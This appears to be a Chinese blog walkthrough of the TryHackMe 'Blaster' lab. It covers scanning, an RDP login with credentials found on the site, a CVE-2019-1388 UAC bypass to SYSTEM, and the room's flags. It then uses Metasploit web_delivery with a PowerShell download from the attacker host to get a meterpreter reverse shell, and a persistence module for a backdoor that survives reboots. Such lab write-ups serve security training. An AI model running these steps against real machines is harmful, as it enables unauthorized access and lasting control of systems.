本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/blaster
本文介绍:针对实验靶机完成渗透操作。
部署靶机
在相关Tryhackme实验房间界面部署虚拟靶机。
注意:目标机器操作系统为Windows,可能需要几分钟才能成功启动。
获得目标初始访问权限
进行端口扫描
使用nmap对实验靶机进行端口扫描:
nmap -A -Pn -p- -T4 10.10.71.8
我们可以看到靶机上有 2 个打开的端口: 80/tcp 和 3389/tcp。
接着访问靶机的80端口上的web服务:10.10.71.8:80
目标站点的页面标题为: IIS Windows Server --站点首页是IIS默认页面。
答题
进行目录扫描
使用gobuster对目标站点进行目录爆破:
gobuster dir -u http://10.10.71.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
发现的隐藏目录为: /retro
答题
查找敏感信息
访问上一小节发现的隐藏目录:10.10.71.8/retro
我们发现了一个潜在的用户名: Wade
继续浏览目标站点,查看该网站的评论页面:
我们发现了可能为密码的信息:parzival
答题
使用凭据通过RDP登录靶机
由端口扫描结果可知目标开启了3389端口(RDP-远程登录服务),所以我们在成功获取 疑似用户登录凭据 的敏感信息之后,可以使用xfreerdp 或者Remmina尝试远程登录目标机器,此处选择使用xfreerdp进行RDP登录 。
xfreerdp /u:Wade /p:parzival /cert:ignore /v:10.10.71.8
#添加参数 /workarea 可使打开的远程窗口最大化
查看目标机用户Wade 桌面上的user.txt文件内容:
user.txt内容为:THM{HACK_PLAYER_ONE} 。
答题
进行权限提升
在完成RDP登录之后,我们查看用户的浏览器历史记录--以获取一些关键信息,我们发现用户曾访问过 CVE-2019-1388 相关页面。
用户查找过的CVE为:CVE-2019-1388
答题
接着查看用户桌面上的回收站,我们在回收站中发现了一个未完全删除的exe文件--此文件是进行 CVE-2019-1388 漏洞利用所必需的。
找到的可执行文件为:hhupd.exe
答题
接下来我们需要利用CVE-2019-1388漏洞 (此漏洞能够绕过UAC提权):
以 administrator 身份运行之前找到的 hhupd.exe 程序。
点击" show more" -> "show information about the publisher's certificate"
点击"VeriSign Commercial Software Publishers CA."
在和上图超链接所关联的Internet Explorer浏览器页面中依次选择settings →File →Save as 。
点击"OK"并继续(此处是预期的错误提示,忽略即可):
在文件名称(filename )一栏中,输入以下内容 C:\Winndows\System32 — 然后按下Enter键。
在\System32文件夹中查找 cmd.exe并接着按下Enter键。
成功打开新的终端,我们在终端界面运行whoami
命令以查看当前的权限,然后继续查看管理员桌面文件夹下(C:\Users\Administrator\Desktop)的root.txt:
当前的权限为:nt authority\system
root.txt的内容为:THM{COIN_OPERATED_EXPLOITATION} 。
答题
后渗透阶段
现在我们已经彻底攻破了目标机器,接下来我们使用msf工具,以便我们可以获得一个远程 shell 以及持久性访问权限。
启动msf控制台msfconsole -q
(-q参数,quiet--跳过提示语显示),选择msf模块:use exploit/multi/script/web_delivery
tips:目标设备存在远程文件包含漏洞或者命令注入漏洞,我们现在想在目标设备上加载shell,但不想在目标设备硬盘上留下任何shell文件信息,所以要让目标设备从远端服务器加载shell代码至内存执行;我们可以使用msf中的web_delivery模块,此模块支持在本地监听一个端口,目标机器一旦访问该端口就会读取该端口上的文件并尝试执行;msf 中的 web_delivery 脚本模块的主要优势是隐藏性比较强,服务器和有效负载都驻留在你的本地机器上,因此在执行攻击时 不会将任何内容写入到目标的磁盘中,从而降低了触发反病毒应用程序和其他防御程序的可能性。
使用options
查看参数选项设置。
设置LHOST参数: set LHOST 10.10.228.31
(攻击机ip)
接下来我们设置PSH (Powershell) 为target,输入命令show targets
查看可设置的目标,然后选择PSH对应的编号填充target设置:set target 2
。
设置要使用的payload,我们选择设置一个meterpreter反向shell的payload: set payload windows/meterpreter/reverse_http
最后我们执行此模块并选择将生成的会话作为作业运行:run -j
我们得到上图中的输出结果,然后我们将复制msf中的输出内容并粘贴到RDP窗口中的目标Windows cmd内,粘贴完内容后-在cmd中按下Enter键执行;我们在攻击机上会得到一个meterpreter会话,然后我们可以在攻击机中使用命令sessions
查看所有的活动会话。
tips:可以将攻击机中的msf输出内容保存到一个txt文件中,然后传输该txt文件到目标机上。
#将msf的输出结果保存到shell.txt文件中
python -m http.server 9999 #在攻击机上执行命令 托管shell.txt文件
#在目标机中执行命令--传输攻击机上的shell.txt文件到目标机
powershell
Invoke-WebRequest -Uri http://10.10.228.31:9999/shell.txt -OutFile C:\Users\Wade\Desktop\shell.txt
cmd
#接着复制shell.txt的内容 粘贴到cmd中并按下Enter键即可
我们可以选择并进入对应编号的会话环境:sessions 1
输入sysinfo
命令可查看目标系统信息。
接下来我们将在msf进行会话持久化操作,我们选择输入命令 run persistence -X
,其中的 -X 参数表示当目标系统启动时将自动启动代理。
注意:以上Meterpreter持久化脚本(run persistence -X)已弃用
我们应该使用以下命令:
bg #先将当前的Meterpreter会话后台化
sessions
use exploit/windows/local/persistence
set session 1 #将会话设置为我们刚才后台化处理的meterpreter会话
set LHOST 10.10.228.31 #将“ LHOST”参数设置为攻击机ip
set payload windows/meterpreter/reverse_tcp
run
在目标系统中留下后门程序后,我们需要创建一个msf监听器(use exploit/multi/handler
),然后就可以在攻击机上等待接收一个反向shell并重新获得一个meterpreter会话。(目标系统在重启或者再次开机时--将会自动尝试连接到攻击机)
答题
标签:shell,Blaster,练习,目标,THM,10.10,msf,txt,我们 From: https://www.cnblogs.com/Hekeats-L/p/17217254.html